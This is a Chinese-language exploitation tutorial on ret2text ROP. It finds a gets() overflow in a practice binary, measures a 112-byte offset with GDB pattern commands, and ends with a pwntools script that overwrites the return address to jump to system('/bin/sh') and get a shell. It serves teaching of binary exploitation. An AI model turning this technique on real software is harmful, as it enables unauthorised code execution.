缓冲区溢出-基本ROP-ret2text
本文视频:
如果文字过于枯燥,可观看在线视频:https://edu.51cto.com/sd/16514
基础知识:
随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。***者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP ***一般得满足如下条件
程序存在溢出,并且可以控制返回地址。
可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了。
今天我们讲一下程序在开启NX(NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。)时如何溢出。
原理 ¶
ret2text 即控制程序执行程序本身已有的的代码 (.text)。其实,这种***方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。
这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。
第一步:反汇编代码查看代码结构
我们讲程序放到IDA中进行分析:
我们发现在代码中出现了gets函数(gets()唯一的参数是words,它无法检查是否装得下输入行。数组名会转换成该数组首元素的地址,因此gets()函数只知道数组的开始处,并不知道数组中有多少个元素。如果输入的字符串过长,会导致缓冲区溢出(buffer overflow)).
第二步:测试溢出偏移量
讲程序加载到GDB中进行调试:gdb ./xxxx
执行命令:pattern create 200 用来创建字符串,帮助我们定位溢出偏移量。
执行命令:r
输入我们刚才创建的200个字符
此时会爆出一个地址,根据这个地址来得到偏移量
执行命令pattern offset 0x41384141
发现偏移量是112,我们此时也知道了system("/bin/sh")的地址,将栈空间的函数返回地址改为system("/bin/sh")即可跳转到此处执行,从而获取shell。地址一定是0x0804863a,因为执行完该行之后system函数才知道参数是"/bin/sh"。
PS:也可以使用:objdump -d ./ret2text |grep system来查看地址
我们来看下代码:
from pwn import *
elf = ELF('./ret2text')
p = process('./ret2text')
payload = 112 * 'a' + p32(0x804863a)
p.sendline(payload)
p.interactive()